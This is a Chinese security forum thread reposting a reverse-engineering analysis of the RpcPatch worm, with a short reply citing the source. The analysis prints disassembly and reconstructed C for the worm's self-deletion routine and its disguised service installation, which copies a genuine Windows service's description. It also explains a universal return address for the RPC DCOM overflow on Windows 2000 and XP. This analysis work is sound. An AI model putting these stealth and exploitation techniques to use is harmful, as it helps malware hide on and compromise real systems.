|
作者: syse [syse] 论坛用户 | 登录 |
抛开写蠕虫导致的道德问题不谈,单就技术而言,应该承认,写这个程序的人是一 个老练的Windows 程序员,代码风格不错,程序写得中规中矩,很多地方值得学习。里 面也用了不少技巧,显示出作者对Windows的了解。这个程序还是有看头的。 1、看看删除自身的函数 首先来看蠕虫删除自身的函数。Windows 应用程序是不能直接删除自身的,因为程 序运行的时候系统使用了memory-mapped files 机制将文件所占的那一部分空间作缓存。 要删除,最简单的法子是先创建一个批处理文件,在批处理文件中删除主文件,然后让 批处理文件删除自身,或者直接在程序中调用“cmd /c del”,再就是借助系统的一些 机制(详见Jeffrey Richter在MSDN January 1996 那篇“Win32 Q&A”中的论述,地址: http://www.microsoft.com/msj/archive/SF9C.aspx)。 而这个蠕虫用的是另外一种巧妙的方法,这个方法是Gary Nebbett提出来的。 ;call from 004012CE :00402970 55 push ebp :00402971 8BEC mov ebp, esp :00402973 81EC10020000 sub esp, 00000210 :00402979 56 push esi :0040297A 8B35A8404000 mov esi, dword ptr [004040A8] ;esi = kernel32.GetModuleFileNameA :00402980 8D85F4FEFFFF lea eax, dword ptr [ebp+FFFFFEF4] :00402986 6804010000 push 00000104 :0040298B 50 push eax :0040298C 6A00 push 00000000 :0040298E FFD6 call esi ;kernel32.GetModuleFileNameA :00402990 8D8DF4FEFFFF lea ecx, dword ptr [ebp+FFFFFEF4] :00402996 51 push ecx :00402997 FF1574404000 Call dword ptr [00404074] ;kernel32.GetFileAttributesA :0040299D A801 test al, 01 ;看文件是否设置了只读属性 :0040299F 7410 je 004029B1 ;如果无则直接跳过去删除文件 :004029A1 24FE and al, FE ;如果有则去掉只读属性 :004029A3 8D95F4FEFFFF lea edx, dword ptr [ebp+FFFFFEF4] :004029A9 50 push eax :004029AA 52 push edx :004029AB FF1578404000 Call dword ptr [00404078] ;kernel32.SetFileAttributesA ;以下的就是Gary Nebbett那一段经典代码: ;jmp from 0040299F :004029B1 6A00 push 00000000 ;参数为空,返回自身句柄 :004029B3 FF157C404000 Call dword ptr [0040407C] ;kernel32.GetModuleHandleA :004029B9 8D8DF0FDFFFF lea ecx, dword ptr [ebp+FFFFFDF0] :004029BF 6804010000 push 00000104 :004029C4 51 push ecx :004029C5 50 push eax :004029C6 8945FC mov dword ptr [ebp-04], eax :004029C9 FFD6 call esi ;KERNEL32!GetModuleFileNameA :004029CB 6A04 push 00000004 ;文件映像的硬编码4 :004029CD FF15E0404000 Call dword ptr [004040E0] ;kernel32.CloseHandle :004029D3 8D85F0FDFFFF lea eax, dword ptr [ebp+FFFFFDF0] :004029D9 6A00 push 00000000 :004029DB 6A00 push 00000000 :004029DD 50 push eax ;程序本身文件名 :004029DE FF35BC404000 push dword ptr [004040BC] ;KERNEL32!ExitProcess :004029E4 FF75FC push [ebp-04] ;映像地址,这里是00400000 :004029E7 FF35E8404000 push dword ptr [004040E8] ;KERNEL32!DeleteFileA :004029ED FF3580404000 push dword ptr [00404080] ;KERNEL32!UnmapViewOfFile :004029F3 C3 ret 用源代码表示就是这样: int main(int argc, char *argv[]) { HMODULE module = GetModuleHandle(0); CHAR buf[MAX_PATH]; GetModuleFileName(module, buf, sizeof buf); CloseHandle(HANDLE(4)); __asm { lea eax, buf push 0 push 0 push eax push ExitProcess push module push DeleteFile push UnmapViewOfFile ret } return 0; } 先关闭程序本身对应的映像句柄、硬编码4,再UnmapViewOfFile程序自身的映像, 然后就可以删除了。 不过有两点:1、这个代码在Windows XP上是无效的。 2、这个代码在命令行上启动是无效的。 这两点有工夫再慢慢研究吧。 2、创建服务函数 创建服务的代码没有什么特殊的,比较巧妙的是蠕虫复制了系统上原有的服务描述 作为自己的描述,这样比自己定义更具欺骗性,因为这样不论蠕虫传播到哪个语言版本 的系统上都可以在服务管理器中显示人们熟悉的描述信息,很难察觉。 ;InstallTFTPService ;call from 0040137F,004016D0 :004015E0 81EC08020000 sub esp, 00000208 :004015E6 8D842404010000 lea eax, dword ptr [esp+00000104] :004015ED 56 push esi :004015EE 8B351C414000 mov esi, dword ptr [0040411C] ;msvcrt.sprintf :004015F4 6898744000 push 00407498 :004015F9 684C614000 push 0040614C ;db '%s\dllcache\tftpd.exe',0 :004015FE 50 push eax :004015FF FFD6 call esi :00401601 83C40C add esp, 0000000C :00401604 8D4C2404 lea ecx, dword ptr [esp+04] :00401608 6898744000 push 00407498 :0040160D 6838614000 push 00406138 ;db '%s\wins\svchost.exe',0 :00401612 51 push ecx :00401613 FFD6 call esi :00401615 83C40C add esp, 0000000C :00401618 8D542404 lea edx, dword ptr [esp+04] :0040161C 8D842408010000 lea eax, dword ptr [esp+00000108] :00401623 6A00 push 00000000 :00401625 52 push edx :00401626 50 push eax :00401627 FF15B4404000 Call dword ptr [004040B4] ;kernel32.CopyFileA :0040162D 6830614000 push 00406130 ;db 'MSDTC',0 ;照抄MSDTC的描述 :00401632 6824614000 push 00406124 ;db 'svchost.exe' :00401637 6808614000 push 00406108 ;db 'Network Connections Sharing' :0040163C 686C5B4000 push 00405B6C ;db 'RpcTftpd',0 :00401641 E89A0D0000 call 004023E0 ;CreateService :00401646 83C410 add esp, 00000010 :00401649 5E pop esi :0040164A 81C408020000 add esp, 00000208 :00401650 C3 ret ;InstallRpcPatchService ;call from 004016D5 :00401660 81EC0C020000 sub esp, 0000020C :00401666 8D842404010000 lea eax, dword ptr [esp+00000104] :0040166D 6804010000 push 00000104 :00401672 50 push eax :00401673 6A00 push 00000000 :00401675 FF15A8404000 Call dword ptr [004040A8] ;kernel32.GetModuleFileNameA :0040167B 6898744000 push 00407498 :00401680 8D4C2404 lea ecx, dword ptr [esp+04] :00401684 6884614000 push 00406184 ;db '%s\wins\DLLHOST.EXE',0 :00401689 51 push ecx :0040168A FF151C414000 Call dword ptr [0040411C] ;db 'msvcrt.sprintf',0 :00401690 83C40C add esp, 0000000C :00401693 8D542400 lea edx, dword ptr [esp] :00401697 8D842404010000 lea eax, dword ptr [esp+00000104] :0040169E 6A00 push 00000000 :004016A0 52 push edx :004016A1 50 push eax :004016A2 FF15B4404000 Call dword ptr [004040B4] ;db 'kernel32.CopyFileA',0 :004016A8 687C614000 push 0040617C ;db 'Browser',0 :004016AD 6870614000 push 00406170 ;db 'DLLHOST.EXE',0 :004016B2 6864614000 push 00406164 ;db 'WINS Client',0 :004016B7 68785B4000 push 00405B78 ;db 'RpcPatch',0 :004016BC E81F0D0000 call 004023E0 ;CreateService :004016C1 81C41C020000 add esp, 0000021C :004016C7 C3 ret ;CreateService ;call from 00401641,004016BC :004023E0 81EC10010000 sub esp, 00000110 ;00ec10010000 ? :004023E6 53 push ebx :004023E7 55 push ebp :004023E8 56 push esi :004023E9 57 push edi :004023EA 683F000F00 push 000F003F :004023EF 6A00 push 00000000 :004023F1 6A00 push 00000000 :004023F3 FF152C404000 Call dword ptr [0040402C] ;advapi32.OpenSCManagerA :004023F9 8BE8 mov ebp, eax :004023FB 85ED test ebp, ebp :004023FD 750B jne 0040240A ;0040240A开始真正进入创建服务,代码比较多就不列出来了 :004023FF 5F pop edi :00402400 5E pop esi :00402401 5D pop ebp :00402402 5B pop ebx :00402403 81C410010000 add esp, 00000110 :00402409 C3 ret 3、通用返回地址 Rpc DCOM 的溢出,在选择跳转地址上不一定要用jmp esp功能的地址,因为在溢出 的时候ebx=esp+9c、edi=esp+f8,这样,我们只需在ShellCode 前加上相应数目的填充 字符就可以用跳往这两个寄存器的跳转地址。 RpcPatch蠕虫的作者使用0x0100139d作为跳转地址,实现了Windows 2000和XP的通 用。而这个地址事实上是Windows XP下svchost.exe里面的call ebx 的地址,以前也有 人用过这个地址,但是是作为Windows XP的跳转地址来用的。从作者写的文章来看,他 是认为这个地址在Windows 2000和Windows XP下都是call ebx,而事实上Windows 2000 的svchost 中这个地址本身并无意义,但是再往下执行若干步,经历几个惊险的跳转之 后,会有一个call edi,只要ShellCode前面的nop足够,最后也会进到ShellCode 里面。 只是这种机缘巧合实在太难得了,让我们一起来领略一下这个惊险之旅: 0100139d 50 push eax 0100139e 6a08 push 0x8 010013a0 e8cefeffff call svchost+0x1273 (01001273) ;call到01001273里面之后又会call到别的地方,最后会call ntdll!RtlAllocateHeap,然后ret出来。 010013a5 85c0 test eax,eax 010013a7 a324300001 mov [svchost+0x3024 (01003024)],eax 010013ac 741c jz svchost+0x13ca (010013ca) ;这里不能跳才有望进ShellCode 010013ae 8b352c300001 mov esi,[svchost+0x302c (0100302c)] 010013b4 8bd8 mov ebx,eax 010013b6 eb0c jmp svchost+0x13c4 (010013c4) ;跳下去 010013b8 8933 mov [ebx],esi 010013ba 56 push esi 010013bb 83c30c add ebx,0xc 010013be ffd7 call edi ;<---经历这么多步终于到ShellCode 010013c0 8d744602 lea esi,[esi+eax*2+0x2] 010013c4 66833e00 cmp word ptr [esi],0x0 010013c8 75ee jnz svchost+0x13b8 (010013b8) ;这里必须跳才能进ShellCode 从0100139d到010013be,中间整整150个指令,那几个条件跳转,该跳的跳,不该跳的 不能跳,edi 必须不被修改,堆栈里的ShellCode必须不被修改……这么多条件同时吻 合,才有了这个Windows 2000/XP通用的跳转地址。而微软从Windows 2000开始,把很 多服务都以dll的形式封装,统一用svchost.exe启动,也就是说svchost.exe只是一个 壳,没有实质的代码,故而一直到SP4,svchost.exe 都没有更新过,这在另一方面也 成就了这个通用地址。 |
地主 发表时间: 08/26 11:07 |
回复: acheron [acheron] 论坛用户 | 登录 |
流云转贴的这篇文章值得学习。至于那篇有关C的漏洞攻击程序就有点灌水了,即使转来了,也该给个注释啊。 我把此问的出处给大家:http://www.xfocus.net/articles/200308/598.html [此贴被 黄泉(acheron) 在 08月27日10时51分 编辑过] |
B1层 发表时间: 08/27 10:09 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号